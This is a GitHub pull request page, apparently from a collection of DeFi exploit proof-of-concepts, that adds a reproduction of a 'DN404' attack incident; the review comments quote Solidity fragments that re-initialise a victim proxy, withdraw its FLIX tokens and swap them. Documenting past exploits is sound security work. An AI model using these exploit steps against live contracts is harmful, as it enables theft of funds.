feat: add DN404 attack incident #643
Merged
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Contributor
LouisTsai-Csie
commented
Apr 29, 2024
LouisTsai-Csie
commented
akshaynexus
suggested changes
Apr 30, 2024
src/test/DN404_exp.sol
Outdated
| IProxy(victim).withdraw(IERC20(FLIX), amount, address(this)); | ||
| Uni_Pair_V3(UniV3Pair).swap(address(this), true, 685_000_000_000_000_000_000_000, 4_295_128_740, ""); | ||
| // Log balances after exploit | ||
| emit log_named_decimal_uint(" Attacker USDT Balance Before exploit", IERC20(USDT).balanceOf(address(this)), 6); |
There was a problem hiding this comment.
Set this log to after exploit
src/test/DN404_exp.sol
Outdated
| uint256 initPeriods = 1; | ||
| uint256 initInterval = 1_000_000_000_000_000_000; | ||
| IProxy(victim).init(IERC20(WETH), initPeriods, initInterval); | ||
| uint256 amount = IERC20(FLIX).balanceOf(address(victim)); |
There was a problem hiding this comment.
put this before init,so that its easy to read
README.md
Outdated
| #### Contract | ||
| [DN404_exp.sol](src/test/DN404_exp.sol) | ||
| ### Link reference | ||
|
|
There was a problem hiding this comment.
IF not having a link reference remove this part?
@akshaynexus I made some changes according to your suggestion, please take a look. Thank you! By the way, is there any style guideline for writing the PoCs in this repo, I would like to follow for readability. |
LouisTsai-Csie
force-pushed
the
feat/add-new-attack
branch
from
82965e4 to
3e803c4
Compare
|
I don't think there is one,reason I suggested readability changes is just mostly cause what I tend to prefer whenooking at contracts at a glance |
|
Corrected some ordering. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.